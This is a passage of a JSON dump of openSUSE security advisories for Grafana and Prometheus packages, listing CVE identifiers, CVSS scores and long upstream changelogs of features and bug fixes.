angular panel. #24684, @torkelo\n - Table: Fixed persisting column resize for time series fields.\n #24505, @torkelo\n - Table: Fixes Cannot read property subRows of null. #24578,\n @hugohaggmark\n - Time picker: Fixed so you can enter a relative range in the time\n picker without being converted to absolute range. #24534, @mckn\n - Transformations: Make transform dropdowns not cropped. #24615,\n @dprokop\n - Transformations: Sort order should be preserved as entered by user\n when using the reduce transformation. #24494, @hugohaggmark\n - Units: Adds scale symbol for currencies with suffixed symbol.\n #24678, @hugohaggmark\n - Variables: Fixes filtering options with more than 1000 entries.\n #24614, @hugohaggmark\n - Variables: Fixes so Textbox variables read value from url. #24623,\n @hugohaggmark\n - Zipkin: Fix error when span contains remoteEndpoint. #24524, @aocenas\n - SAML: Switch from email to login for user login attribute mapping\n (Enterprise)\n\n", "edition": 1, "modified": "2020-10-10T18:15:30", "published": "2020-10-10T18:15:30", "id": "OPENSUSE-SU-2020:1646-1", "href": "http://lists.opensuse.org/opensuse-security-announce/2020-10/msg00017.html", "title": "Security update for grafana (moderate)", "type": "suse", "cvss": {"score": 6.4, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:P"}}, {"lastseen": "2020-06-28T13:23:47", "bulletinFamily": "unix", "cvelist": ["CVE-2020-12245", "CVE-2019-15043", "CVE-2020-13379"], "description": "This update for grafana, grafana-piechart-panel, grafana-status-panel\n fixes the following issues:\n\n grafana was updated to version 7.0.3:\n\n * Features / Enhancements\n\n - Stats: include all fields. #24829, @ryantxu\n - Variables: change VariableEditorList row action Icon to IconButton.\n #25217, @hshoff\n\n * Bug fixes\n\n - Cloudwatch: Fix dimensions of DDoSProtection. #25317, @papagian\n - Configuration: Fix env var override of sections containing hyphen.\n #25178, @marefr\n - Dashboard: Get panels in collapsed rows. #25079, @peterholmberg\n - Do not show alerts tab when alerting is disabled. #25285, @dprokop\n - Jaeger: fixes cascader option label duration value. #25129, @Estrax\n - Transformations: Fixed Transform tab crash & no update after adding\n first transform. #25152, @torkelo\n\n Update to version 7.0.2\n\n * Bug fixes\n\n - Security: Urgent security patch release to fix CVE-2020-13379\n\n Update to version 7.0.1\n\n * Features / Enhancements\n\n - Datasource/CloudWatch: Makes CloudWatch Logs query history more\n readable. #24795, @kaydelaney\n - Download CSV: Add date and time formatting. #24992, @ryantxu\n - Table: Make last cell value visible when right aligned. #24921,\n @peterholmberg\n - TablePanel: Adding sort order persistance. #24705, @torkelo\n - Transformations: Display correct field name when using reduce\n transformation. #25068, @peterholmberg\n - Transformations: Allow custom number input for binary operations.\n #24752, @ryantxu\n\n * Bug fixes\n\n - Dashboard/Links: Fixes dashboard links by tags not working. #24773,\n @KamalGalrani\n - Dashboard/Links: Fixes open in new window for dashboard link. #24772,\n @KamalGalrani\n - Dashboard/Links: Variables are resolved and limits to 100. #25076,\n @hugohaggmark\n - DataLinks: Bring back variables interpolation in title. #24970,\n @dprokop\n - Datasource/CloudWatch: Field suggestions no longer limited to\n prefix-only. #24855, @kaydelaney\n - Explore/Table: Keep existing field types if possible. #24944,\n @kaydelaney\n - Explore: Fix wrap lines toggle for results of queries with filter\n expression. #24915, @ivanahuckova\n - Explore: fix undo in query editor. #24797, @zoltanbedi\n - Explore: fix word break in type head info. #25014, @zoltanbedi\n - Graph: Legend decimals now work as expected. #24931, @torkelo\n - LoginPage: Fix hover color for service buttons. #25009, @tskarhed\n - LogsPanel: Fix scrollbar. #24850, @ivanahuckova\n - MoveDashboard: Fix for moving dashboard caused all variables to be\n lost. #25005, @torkelo\n - Organize transformer: Use display name in field order comparer.\n #24984, @dprokop\n - Panel: shows correct panel menu items in view mode. #24912,\n @hugohaggmark\n - PanelEditor Fix missing labels and description if there is only single\n option in category. #24905, @dprokop\n - PanelEditor: Overrides name matcher still show all original field\n names even after Field default display name is specified. #24933,\n @torkelo\n - PanelInspector: Makes sure Data display options are visible. #24902,\n @hugohaggmark\n - PanelInspector: Hides unsupported data display options for Panel type.\n #24918, @hugohaggmark\n - PanelMenu: Make menu disappear on button press. #25015, @tskarhed\n - Postgres: Fix add button. #25087, @phemmer\n - Prometheus: Fix recording rules expansion. #24977, @ivanahuckova\n - Stackdriver: Fix creating Service Level Objectives (SLO) datasource\n query variable. #25023, @papagian\n\n Update to version 7.0.0\n\n * Breaking changes\n\n - Removed PhantomJS: PhantomJS was deprecated in Grafana v6.4 and\n starting from Grafana v7.0.0, all PhantomJS support has been removed.\n This means that Grafana no longer ships with a built-in image\n renderer, and we advise you to install the Grafana Image Renderer\n plugin.\n - Dashboard: A global minimum dashboard refresh interval is now enforced\n and defaults to 5 seconds.\n - Interval calculation: There is now a new option Max data points that\n controls the auto interval $__interval calculation. Interval was\n previously calculated by dividing the panel width by the time range.\n With the new max data points option it is now easy to set $__interval\n to a dynamic value that is time range agnostic. For example if you set\n Max data points to 10 Grafana will dynamically set $__interval by\n dividing the current time range by 10.\n - Datasource/Loki: Support for deprecated Loki endpoints has been\n removed.\n - Backend plugins: Grafana now requires backend plugins to be signed,\n otherwise Grafana will not load/start them. This is an additional\n security measure to make sure backend plugin binaries and files\n haven't been tampered with. Refer to Upgrade Grafana for more\n information.\n - @grafana/ui: Forms migration notice, see @grafana/ui changelog\n - @grafana/ui: Select API change for creating custom values, see\n @grafana/ui changelog\n + Deprecation warnings\n - Scripted dashboards is now deprecated. The feature is not removed\n but will be in a future release. We hope to address the underlying\n requirement of dynamic dashboards in a different way. #24059\n - The unofficial first version of backend plugins together with usage\n of grafana/grafana-plugin-model is now deprecated and support for\n that will be removed in a future release. Please refer to backend\n plugins documentation for information about the new officially\n supported backend plugins.\n\n * Features / Enhancements\n\n - Backend plugins: Log deprecation warning when using the unofficial\n first version of backend plugins. #24675, @marefr\n - Editor: New line on Enter, run query on Shift+Enter. #24654, @davkal\n - Loki: Allow multiple derived fields with the same name. #24437,\n @aocenas\n - Orgs: Add future deprecation notice. #24502, @torkelo\n\n * Bug Fixes\n\n - @grafana/toolkit: Use process.cwd() instead of PWD to get directory.\n #24677, @zoltanbedi\n - Admin: Makes long settings values line break in settings page. #24559,\n @hugohaggmark\n - Dashboard: Allow editing provisioned dashboard JSON and add\n confirmation when JSON is copied to dashboard. #24680, @dprokop\n - Dashboard: Fix for strange "dashboard not found" errors when opening\n links in dashboard settings. #24416, @torkelo\n - Dashboard: Fix so default data source is selected when data source\n can't be found in panel editor. #24526, @mckn\n - Dashboard: Fixed issue changing a panel from transparent back to\n normal in panel editor. #24483, @torkelo\n - Dashboard: Make header names reflect the field name when exporting to\n CSV file from the the panel inspector. #24624, @peterholmberg\n - Dashboard: Make sure side pane is displayed with tabs by default in\n panel editor. #24636, @dprokop\n - Data source: Fix query/annotation help content formatting. #24687,\n @AgnesToulet\n - Data source: Fixes async mount errors. #24579, @Estrax\n - Data source: Fixes saving a data source without failure when URL\n doesn't specify a protocol. #24497, @aknuds1\n - Explore/Prometheus: Show results of instant queries only in table.\n #24508, @ivanahuckova\n - Explore: Fix rendering of react query editors. #24593, @ivanahuckova\n - Explore: Fixes loading more logs in logs context view. #24135, @Estrax\n - Graphite: Fix schema and dedupe strategy in rollup indicators for\n Metrictank queries. #24685, @torkelo\n - Graphite: Makes query annotations work again. #24556, @hugohaggmark\n - Logs: Clicking "Load more" from context overlay doesn't expand log\n row. #24299, @kaydelaney\n - Logs: Fix total bytes process calculation. #24691, @davkal\n - Org/user/team preferences: Fixes so UI Theme can be set back to\n Default. #24628, @AgnesToulet\n - Plugins: Fix manifest validation. #24573, @aknuds1\n - Provisioning: Use proxy as default access mode in provisioning.\n #24669, @bergquist\n - Search: Fix select item when pressing enter and Grafana is served\n using a sub path. #24634, @tskarhed\n - Search: Save folder expanded state. #24496, @Clarity-89\n - Security: Tag value sanitization fix in OpenTSDB data source. #24539,\n @rotemreiss\n - Table: Do not include angular options in options when switching from\n angular panel. #24684, @torkelo\n - Table: Fixed persisting column resize for time series fields. #24505,\n @torkelo\n - Table: Fixes Cannot read property subRows of null. #24578,\n @hugohaggmark\n - Time picker: Fixed so you can enter a relative range in the time\n picker without being converted to absolute range. #24534, @mckn\n - Transformations: Make transform dropdowns not cropped. #24615, @dprokop\n - Transformations: Sort order should be preserved as entered by user\n when using the reduce transformation. #24494, @hugohaggmark\n - Units: Adds scale symbol for currencies with suffixed symbol. #24678,\n @hugohaggmark\n - Variables: Fixes filtering options with more than 1000 entries.\n #24614, @hugohaggmark\n - Variables: Fixes so Textbox variables read value from url. #24623,\n @hugohaggmark\n - Zipkin: Fix error when span contains remoteEndpoint. #24524, @aocenas\n - SAML: Switch from email to login for user login attribute mapping\n (Enterprise)\n\n This update was imported from the SUSE:SLE-15-SP2:Update update project.\n\n", "edition": 1, "modified": "2020-06-28T12:13:00", "published": "2020-06-28T12:13:00", "id": "OPENSUSE-SU-2020:0892-1", "href": "http://lists.opensuse.org/opensuse-security-announce/2020-06/msg00060.html", "title": "Security update for grafana, grafana-piechart-panel, grafana-status-panel (moderate)", "type": "suse", "cvss": {"score": 6.4, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:P"}}, {"lastseen": "2020-07-28T01:26:45", "bulletinFamily": "unix", "cvelist": ["CVE-2020-12245", "CVE-2019-15043", "CVE-2020-13379", "CVE-2019-10215"], "description": "This update fixes the following issues:\n\n dracut-saltboot:\n\n - Print a list of available disk devices (bsc#1170824)\n - Install wipefs to initrd\n - Force install crypt modules\n\n golang-github-prometheus-prometheus:\n\n - Update change log and spec file\n + Modified spec file: default to golang 1.14 to avoid "have choice"\n build issues in OBS.\n + Rebase and update patches for version 2.18.0\n - Update to 2.18.0\n + Features\n * Tracing: Added experimental Jaeger support #7148\n + Changes\n * Federation: Only use local TSDB for federation (ignore remote read).\n #7096\n * Rules: `rule_evaluations_total` and `rule_evaluation_failures_total`\n have a `rule_group` label now. #7094\n + Enhancements\n * TSDB: Significantly reduce WAL size kept around after a block cut.\n #7098\n * Discovery: Add `architecture` meta label for EC2. #7000\n + Bug fixes\n * UI: Fixed wrong MinTime reported by /status. #7182\n * React UI: Fixed multiselect legend on OSX. #6880\n * Remote Write: Fixed blocked resharding edge case. #7122\n * Remote Write: Fixed remote write not updating on relabel configs\n change. #7073\n - Changes from 2.17.2\n + Bug fixes\n * Federation: Register federation metrics #7081\n * PromQL: Fix panic in parser error handling #7132\n * Rules: Fix reloads hanging when deleting a rule group that is being\n evaluated #7138\n * TSDB: Fix a memory leak when prometheus starts with an empty TSDB\n WAL #7135\n * TSDB: Make isolation more robust to panics in web handlers #7129\n #7136\n - Changes from 2.17.1\n + Bug fixes\n * TSDB: Fix query performance regression that increased memory and CPU\n usage #7051\n - Changes from 2.17.0\n + Features\n * TSDB: Support isolation #6841\n * This release implements isolation in TSDB. API queries and recording\n rules are guaranteed to only see full scrapes and full recording\n rules. This comes with a certain overhead in resource usage.\n Depending on the situation, there might be some increase in memory\n usage, CPU usage, or query latency.\n + Enhancements\n * PromQL: Allow more keywords as metric names #6933\n * React UI: Add normalization of localhost URLs in targets page #6794\n * Remote read: Read from remote storage concurrently #6770\n * Rules: Mark deleted rule series as stale after a reload #6745\n * Scrape: Log scrape append failures as debug rather than warn #6852\n * TSDB: Improve query performance for queries that partially hit the\n head #6676\n * Consul SD: Expose service health as meta label #5313\n * EC2 SD: Expose EC2 instance lifecycle as meta label #6914\n * Kubernetes SD: Expose service type as meta label for K8s service\n role #6684\n * Kubernetes SD: Expose label_selector and field_selector #6807\n * Openstack SD: Expose hypervisor id as meta label #6962\n + Bug fixes\n * PromQL: Do not escape HTML-like chars in query log #6834 #6795\n * React UI: Fix data table matrix values #6896\n * React UI: Fix new targets page not loading when using non-ASCII\n characters #6892\n * Remote read: Fix duplication of metrics read from remote storage\n with external labels #6967 #7018\n * Remote write: Register WAL watcher and live reader metrics for all\n remotes, not just the first one #6998\n * Scrape: Prevent removal of metric names upon relabeling #6891\n * Scrape: Fix 'superfluous response.WriteHeader call' errors when\n scrape fails under some circonstances #6986\n * Scrape: Fix crash when reloads are separated by two scrape intervals\n #7011\n - Changes from 2.16.0\n + Features\n * React UI: Support local timezone on /graph #6692\n * PromQL: add absent_over_time query function #6490\n * Adding optional logging of queries to their own file #6520\n + Enhancements\n * React UI: Add support for rules page and "Xs ago" duration displays\n #6503\n * React UI: alerts page, replace filtering togglers tabs with\n checkboxes #6543\n * TSDB: Export metric for WAL write errors #6647\n * TSDB: Improve query performance for queries that only touch the most\n recent 2h of data. #6651\n * PromQL: Refactoring in parser errors to improve error messages #6634\n * PromQL: Support trailing commas in grouping opts #6480\n * Scrape: Reduce memory usage on reloads by reusing scrape cache #6670\n * Scrape: Add metrics to track bytes and entries in the metadata cache\n #6675\n * promtool: Add support for line-column numbers for invalid rules\n output #6533\n * Avoid restarting rule groups when it is unnecessary #6450\n + Bug fixes\n * React UI: Send cookies on fetch() on older browsers #6553\n * React UI: adopt grafana flot fix for stacked graphs #6603\n * React UI: broken graph page browser history so that back button\n works as expected #6659\n * TSDB: ensure compactionsSkipped metric is registered, and log proper\n error if one is returned from head.Init #6616\n * TSDB: return an error on ingesting series with duplicate labels #6664\n * PromQL: Fix unary operator precedence #6579\n * PromQL: Respect query.timeout even when we reach\n query.max-concurrency #6712\n * PromQL: Fix string and parentheses handling in engine, which\n affected React UI #6612\n * PromQL: Remove output labels returned by absent() if they are\n produced by multiple identical label matchers #6493\n * Scrape: Validate that OpenMetrics input ends with `# EOF` #6505\n * Remote read: return the correct error if configs can't be marshal'd\n to JSON #6622\n * Remote write: Make remote client `Store` use passed context, which\n can affect shutdown timing #6673\n * Remote write: Improve sharding calculation in cases where we would\n always be consistently behind by tracking pendingSamples #6511\n * Ensure prometheus_rule_group metrics are deleted when a rule group\n is removed #6693\n - Changes from 2.15.2\n + Bug fixes\n * TSDB: Fixed support for TSDB blocks built with Prometheus before\n 2.1.0. #6564\n * TSDB: Fixed block compaction issues on Windows. #6547\n - Changes from 2.15.1\n + Bug fixes\n * TSDB: Fixed race on concurrent queries against same data. #6512\n - Changes from 2.15.0\n + Features\n * API: Added new endpoint for exposing per metric metadata\n `/metadata`. #6420 #6442\n + Changes\n * Discovery: Removed `prometheus_sd_kubernetes_cache_*` metrics.\n Additionally `prometheus_sd_kubernetes_workqueue_latency_seconds`\n and `prometheus_sd_kubernetes_workqueue_work_duration_seconds`\n metrics now show correct values in seconds. #6393\n * Remote write: Changed `query` label on `prometheus_remote_storage_*`\n metrics to `remote_name` and `url`. #6043\n + Enhancements\n * TSDB: Significantly reduced memory footprint of loaded TSDB blocks.\n #6418 #6461\n * TSDB: Significantly optimized what we buffer during compaction which\n should result in lower memory footprint during compaction. #6422\n #6452 #6468 #6475\n * TSDB: Improve replay latency. #6230\n * TSDB: WAL size is now used for size based retention calculation.\n #5886\n * Remote read: Added query grouping and range hints to the remote read\n request #6401\n * Remote write: Added `prometheus_remote_storage_sent_bytes_total`\n counter per queue. #6344\n * promql: Improved PromQL parser performance. #6356\n * React UI: Implemented missing pages like `/targets` #6276, TSDB\n status page #6281 #6267 and many other fixes and performance\n improvements.\n * promql: Prometheus now accepts spaces between time range and square\n bracket. e.g `[ 5m]` #6065\n + Bug fixes\n * Config: Fixed alertmanager configuration to not miss targets when\n configurations are similar. #6455\n * Remote write: Value of `prometheus_remote_storage_shards_desired`\n gauge shows raw value of desired shards and it's updated correctly.\n #6378\n * Rules: Prometheus now fails the evaluation of rules and alerts where\n metric results collide with labels specified in `labels` field. #6469\n * API: Targets Metadata API `/targets/metadata` now accepts empty\n `match_targets` parameter as in the spec. #6303\n - Changes from 2.14.0\n + Features\n * API: `/api/v1/status/runtimeinfo` and `/api/v1/status/buildinfo`\n endpoints added for use by the React UI. #6243\n * React UI: implement the new experimental React based UI. #5694 and\n many more\n * Can be found by under `/new`.\n * Not all pages are implemented yet.\n * Status: Cardinality statistics added to the Runtime & Build\n Information page. #6125\n + Enhancements\n * Remote write: fix delays in remote write after a compaction. #6021\n * UI: Alerts can be filtered by state. #5758\n + Bug fixes\n * Ensure warnings from the API are escaped. #6279\n * API: lifecycle endpoints return 403 when not enabled. #6057\n * Build: Fix Solaris build. #6149\n * Promtool: Remove false duplicate rule warnings when checking rule\n files with alerts. #6270\n * Remote write: restore use of deduplicating logger in remote write.\n #6113\n * Remote write: do not reshard when unable to send samples. #6111\n * Service discovery: errors are no longer logged on context\n cancellation. #6116, #6133\n * UI: handle null response from API properly. #6071\n - Changes from 2.13.1\n + Bug fixes\n * Fix panic in ARM builds of Prometheus. #6110\n * promql: fix potential panic in the query logger. #6094\n * Multiple errors of http: superfluous response.WriteHeader call in\n the logs. #6145\n - Changes from 2.13.0\n + Enhancements\n * Metrics: renamed prometheus_sd_configs_failed_total to\n prometheus_sd_failed_configs and changed to Gauge #5254\n * Include the tsdb tool in builds. #6089\n * Service discovery: add new node address types for kubernetes. #5902\n * UI: show warnings if query have returned some warnings. #5964\n * Remote write: reduce memory usage of the series cache. #5849\n * Remote read: use remote read streaming to reduce memory usage. #5703\n * Metrics: added metrics for remote write max/min/desired shards to\n queue manager. #5787\n * Promtool: show the warnings during label query. #5924\n * Promtool: improve error messages when parsing bad rules. #5965\n * Promtool: more promlint rules. #5515\n + Bug fixes\n * UI: Fix a Stored DOM XSS vulnerability with query history\n [CVE-2019-10215](<a rel=\"nofollow\" href=\"http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-102\">http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-102</a>\n 15). #6098\n * Promtool: fix recording inconsistency due to duplicate labels. #6026\n * UI: fixes service-discovery view when accessed from unhealthy\n targets. #5915\n * Metrics format: OpenMetrics parser crashes on short input. #5939\n * UI: avoid truncated Y-axis values. #6014\n - Changes from 2.12.0\n + Features\n * Track currently active PromQL queries in a log file. #5794\n * Enable and provide binaries for `mips64` / `mips64le` architectures.\n #5792\n + Enhancements\n * Improve responsiveness of targets web UI and API endpoint. #5740\n * Improve remote write desired shards calculation. #5763\n * Flush TSDB pages more precisely. tsdb#660\n * Add `prometheus_tsdb_retention_limit_bytes` metric. tsdb#667\n * Add logging during TSDB WAL replay on startup. tsdb#662\n * Improve TSDB memory usage. tsdb#653, tsdb#643, tsdb#654, tsdb#642,\n tsdb#627\n + Bug fixes\n * Check for duplicate label names in remote read. #5829\n * Mark deleted rules' series as stale on next evaluation. #5759\n * Fix JavaScript error when showing warning about out-of-sync server\n time. #5833\n * Fix `promtool test rules` panic when providing empty `exp_labels`.\n #5774\n * Only check last directory when discovering checkpoint number. #5756\n * Fix error propagation in WAL watcher helper functions. #5741\n * Correctly handle empty labels from alert templates. #5845\n - Update Uyuni/SUSE Manager service discovery patch\n + Adapt service discovery to the new Uyuni API endpoints\n + Modified spec file: force golang 1.12 to fix build issues in SLE15SP2\n - Update to Prometheus 2.11.2\n\n grafana:\n\n - Update to version 7.0.3\n * Features / Enhancements\n - Stats: include all fields. #24829, @ryantxu\n - Variables: change VariableEditorList row action Icon to IconButton.\n #25217, @hshoff\n * Bug fixes\n - Cloudwatch: Fix dimensions of DDoSProtection. #25317, @papagian\n - Configuration: Fix env var override of sections containing hyphen.\n #25178, @marefr\n - Dashboard: Get panels in collapsed rows. #25079, @peterholmberg\n - Do not show alerts tab when alerting is disabled. #25285, @dprokop\n - Jaeger: fixes cascader option label duration value. #25129, @Estrax\n - Transformations: Fixed Transform tab crash & no update after adding\n first transform. #25152, @torkelo\n - Update to version 7.0.2\n * Bug fixes\n - Security: Urgent security patch release to fix CVE-2020-13379\n - Update to version 7.0.1\n * Features / Enhancements\n - Datasource/CloudWatch: Makes CloudWatch Logs query history more\n readable. #24795, @kaydelaney\n - Download CSV: Add date and time formatting. #24992, @ryantxu\n - Table: Make last cell value visible when right aligned. #24921,\n @peterholmberg\n - TablePanel: Adding sort order persistance. #24705, @torkelo\n - Transformations: Display correct field name when using reduce\n transformation. #25068, @peterholmberg\n - Transformations: Allow custom number input for binary operations.\n #24752, @ryantxu\n * Bug fixes\n - Dashboard/Links: Fixes dashboard links by tags not working. #24773,\n @KamalGalrani\n - Dashboard/Links: Fixes open in new window for dashboard link.\n #24772, @KamalGalrani\n - Dashboard/Links: Variables are resolved and limits to 100. #25076,\n @hugohaggmark\n - DataLinks: Bring back variables interpolation in title. #24970,\n @dprokop\n - Datasource/CloudWatch: Field suggestions no longer limited to\n prefix-only. #24855, @kaydelaney\n - Explore/Table: Keep existing field types if possible. #24944,\n @kaydelaney\n - Explore: Fix wrap lines toggle for results of queries with filter\n expression. #24915, @ivanahuckova\n - Explore: fix undo in query editor. #24797, @zoltanbedi\n - Explore: fix word break in type head info. #25014, @zoltanbedi\n - Graph: Legend decimals now work as expected. #24931, @torkelo\n - LoginPage: Fix hover color for service buttons. #25009, @tskarhed\n - LogsPanel: Fix scrollbar. #24850, @ivanahuckova\n - MoveDashboard: Fix for moving dashboard caused all variables to be\n lost. #25005, @torkelo\n - Organize transformer: Use display name in field order comparer.\n #24984, @dprokop\n - Panel: shows correct panel menu items in view mode. #24912,\n @hugohaggmark\n - PanelEditor Fix missing labels and description if there is only\n single option in category. #24905, @dprokop\n - PanelEditor: Overrides name matcher still show all original field\n names even after Field default display name is specified. #24933,\n @torkelo\n - PanelInspector: Makes sure Data display options are visible. #24902,\n @hugohaggmark\n - PanelInspector: Hides unsupported data display options for Panel\n type. #24918, @hugohaggmark\n - PanelMenu: Make menu disappear on button press. #25015, @tskarhed\n - Postgres: Fix add button. #25087, @phemmer\n - Prometheus: Fix recording rules expansion. #24977, @ivanahuckova\n - Stackdriver: Fix creating Service Level Objectives (SLO) datasource\n query variable. #25023, @papagian\n - Update to version 7.0.0\n * Breaking changes\n - Removed PhantomJS: PhantomJS was deprecated in Grafana v6.4 and\n starting from Grafana v7.0.0, all PhantomJS support has been\n removed. This means that Grafana no longer ships with a built-in\n image renderer, and we advise you to install the Grafana Image\n Renderer plugin.\n - Dashboard: A global minimum dashboard refresh interval is now\n enforced and defaults to 5 seconds.\n - Interval calculation: There is now a new option Max data points that\n controls the auto interval $__interval calculation. Interval was\n previously calculated by dividing the panel width by the time range.\n With the new max data points option it is now easy to set\n $__interval to a dynamic value that is time range agnostic. For\n example if you set Max data points to 10 Grafana will dynamically\n set $__interval by dividing the current time range by 10.\n - Datasource/Loki: Support for deprecated Loki endpoints has been\n removed.\n - Backend plugins: Grafana now requires backend plugins to be signed,\n otherwise Grafana will not load/start them. This is an additional\n security measure to make sure backend plugin binaries and files\n haven't been tampered with. Refer to Upgrade Grafana for more\n information.\n - @grafana/ui: Forms migration notice, see @grafana/ui changelog\n - @grafana/ui: Select API change for creating custom values, see\n @grafana/ui changelog\n + Deprecation warnings\n - Scripted dashboards is now deprecated. The feature is not removed\n but will be in a future release. We hope to address the underlying\n requirement of dynamic dashboards in a different way. #24059\n - The unofficial first version of backend plugins together with\n usage of grafana/grafana-plugin-model is now deprecated and support for\n that will be removed in a future release. Please refer to backend plugins\n documentation for information about the new officially supported backend\n plugins.\n * Features / Enhancements\n - Backend plugins: Log deprecation warning when using the unofficial\n first version of backend plugins. #24675, @marefr\n - Editor: New line on Enter, run query on Shift+Enter. #24654, @davkal\n - Loki: Allow multiple derived fields with the same name. #24437,\n @aocenas\n - Orgs: Add future deprecation notice. #24502, @torkelo\n * Bug Fixes\n - @grafana/toolkit: Use process.cwd() instead of PWD to get directory.\n #24677, @zoltanbedi\n - Admin: Makes long settings values line break in settings page.\n #24559, @hugohaggmark\n - Dashboard: Allow editing provisioned dashboard JSON and add\n confirmation when JSON is copied to dashboard. #24680, @dprokop\n - Dashboard: Fix for strange "dashboard not found" errors when opening\n links in dashboard settings. #24416, @torkelo\n - Dashboard: Fix so default data source is selected when data source\n can't be found in panel editor. #24526, @mckn\n - Dashboard: Fixed issue changing a panel from transparent back to\n normal in panel editor. #24483, @torkelo\n - Dashboard: Make header names reflect the field name when exporting\n to CSV file from the the panel inspector. #24624, @peterholmberg\n - Dashboard: Make sure side pane is displayed with tabs by default in\n panel editor. #24636, @dprokop\n - Data source: Fix query/annotation help content formatting. #24687,\n @AgnesToulet\n - Data source: Fixes async mount errors. #24579, @Estrax\n - Data source: Fixes saving a data source without failure when URL\n doesn't specify a protocol. #24497, @aknuds1\n - Explore/Prometheus: Show results of instant queries only in table.\n #24508, @ivanahuckova\n - Explore: Fix rendering of react query editors. #24593, @ivanahuckova\n - Explore: Fixes loading more logs in logs context view. #24135,\n @Estrax\n - Graphite: Fix schema and dedupe strategy in rollup indicators for\n Metrictank queries. #24685, @torkelo\n - Graphite: Makes query annotations work again. #24556, @hugohaggmark\n - Logs: Clicking "Load more" from context overlay doesn't expand log\n row. #24299, @kaydelaney\n - Logs: Fix total bytes process calculation. #24691, @davkal\n - Org/user/team preferences: Fixes so UI Theme can be set back to\n Default. #24628, @AgnesToulet\n - Plugins: Fix manifest validation. #24573, @aknuds1\n - Provisioning: Use proxy as default access mode in provisioning.\n #24669, @bergquist\n - Search: Fix select item when pressing enter and Grafana is served\n using a sub path. #24634, @tskarhed\n - Search: Save folder expanded state. #24496, @Clarity-89\n - Security: Tag value sanitization fix in OpenTSDB data source.\n #24539, @rotemreiss\n - Table: Do not include angular options in options when switching from\n angular panel. #24684, @torkelo\n - Table: Fixed persisting column resize for time series fields.\n #24505, @torkelo\n - Table: Fixes Cannot read property subRows of null. #24578,\n @hugohaggmark\n - Time picker: Fixed so you can enter a relative range in the time\n picker without being converted to absolute range. #24534, @mckn\n - Transformations: Make transform dropdowns not cropped. #24615,\n @dprokop\n - Transformations: Sort order should be preserved as entered by user\n when using the reduce transformation. #24494, @hugohaggmark\n - Units: Adds scale symbol for currencies with suffixed symbol.\n #24678, @hugohaggmark\n - Variables: Fixes filtering options with more than 1000 entries.\n #24614, @hugohaggmark\n - Variables: Fixes so Textbox variables read value from url. #24623,\n @hugohaggmark\n - Zipkin: Fix error when span contains remoteEndpoint. #24524, @aocenas\n - SAML: Switch from email to login for user login attribute mapping\n (Enterprise)\n - Update Makefile and spec file\n * Remove phantomJS patch from Makefile\n * Fix multiline strings in Makefile\n * Exclude s390 from SLE12 builds, golang 1.14 is not built for s390\n - Add instructions for patching the Grafana javascript frontend.\n - BuildRequires golang(API) instead of go metapackage version range\n * BuildRequires: golang(API) >= 1.14 from BuildRequires: ( go >=\n 1.14 with go < 1.15 )\n - Update to version 6.7.3\n - This version fixes bsc#1170557 and its corresponding CVE-2020-12245\n - Admin: Fix Synced via LDAP message for non-LDAP external users.\n #23477, @alexanderzobnin\n - Alerting: Fixes notifications for alerts with empty message in Google\n Hangouts notifier. #23559, @hugohaggmark\n - AuthProxy: Fixes bug where long username could not be cached.. #22926,\n @jcmcken\n - Dashboard: Fix saving dashboard when editing raw dashboard JSON model.\n #23314, @peterholmberg\n - Dashboard: Try to parse 8 and 15 digit numbers as timestamps if\n parsing of time range as date fails. #21694, @jessetan\n - DashboardListPanel: Fixed problem with empty panel after going into\n edit mode (General folder filter being automatically added) . #23426,\n @torkelo\n - Data source: Handle datasource withCredentials option properly.\n #23380, @hvtuananh\n - Security: Fix annotation popup XSS vulnerability. #23813, @torkelo\n - Server: Exit Grafana with status code 0 if no error. #23312, @aknuds1\n - TablePanel: Fix XSS issue in header column rename (backport). #23814,\n @torkelo\n - Variables: Fixes error when setting adhoc variable values. #23580,\n @hugohaggmark\n - Update to version 6.7.2: (see installed changelog for the full list of\n changes)\n - BackendSrv: Adds config to response to fix issue for external plugins\n that used this property . #23032, @torkelo\n - Dashboard: Fixed issue with saving new dashboard after changing title\n . #23104, @dprokop\n - DataLinks: make sure we use the correct datapoint when dataset\n contains null value.. #22981, @mckn\n - Plugins: Fixed issue for plugins that imported dateMath util .\n #23069, @mckn\n - Security: Fix for dashboard snapshot original dashboard link could\n contain XSS vulnerability in url. #23254, @torkelo\n - Variables: Fixes issue with too many queries being issued for nested\n template variables after value change. #23220, @torkelo\n - Plugins: Expose promiseToDigest. #23249, @torkelo\n - Reporting (Enterprise): Fixes issue updating a report created by\n someone else\n - Update to 6.7.1: (see installed changelog for the full list of changes)\n Bug Fixes\n - Azure: Fixed dropdowns not showing current value. #22914, @torkelo\n - BackendSrv: only add content-type on POST, PUT requests. #22910,\n @hugohaggmark\n - Panels: Fixed size issue with panel internal size when exiting panel\n edit mode. #22912, @torkelo\n - Reporting: fixes migrations compatibility with mysql (Enterprise)\n - Reporting: Reduce default concurrency limit to 4 (Enterprise)\n - Update to 6.7.0: (see installed changelog for the full list of changes)\n Bug Fixes\n - AngularPanels: Fixed inner height calculation for angular panels .\n #22796, @torkelo\n - BackendSrv: makes sure provided headers are correctly recognized and\n set. #22778, @hugohaggmark\n - Forms: Fix input suffix position (caret-down in Select) . #22780,\n @torkelo\n - Graphite: Fixed issue with query editor and next select metric now\n showing after selecting metric node . #22856, @torkelo\n - Rich History: UX adjustments and fixes. #22729, @ivanahuckova\n - Update to 6.7.0-beta1: Breaking changes\n - Slack: Removed Mention setting and instead introduce Mention Users,\n Mention Groups, and Mention Channel. The first two settings require\n user and group IDs, respectively. This change was necessary because\n the way of mentioning via the Slack API changed and mentions in Slack\n notifications no longer worked.\n - Alerting: Reverts the behavior of diff and percent_diff to not always\n be absolute. Something we introduced by mistake in 6.1.0. Alerting\n now support diff(), diff_abs(), percent_diff() and\n percent_diff_abs(). #21338\n - Notice about changes in backendSrv for plugin authors In our mission\n to migrate away from AngularJS to React we have removed all AngularJS\n dependencies in the core data retrieval service backendSrv. Removing\n the AngularJS dependencies in backendSrv has the unfortunate side\n effect of AngularJS digest no longer being triggered for any request\n made with backendSrv. Because of this, external plugins using\n backendSrv directly may suffer from strange behaviour in the UI. To\n remedy this issue, as a plugin author you need to trigger the digest\n after a direct call to backendSrv. Bug Fixes API: Fix redirect issues.\n #22285, @papagian Alerting: Don't include image_url field with Slack\n message if empty. #22372, 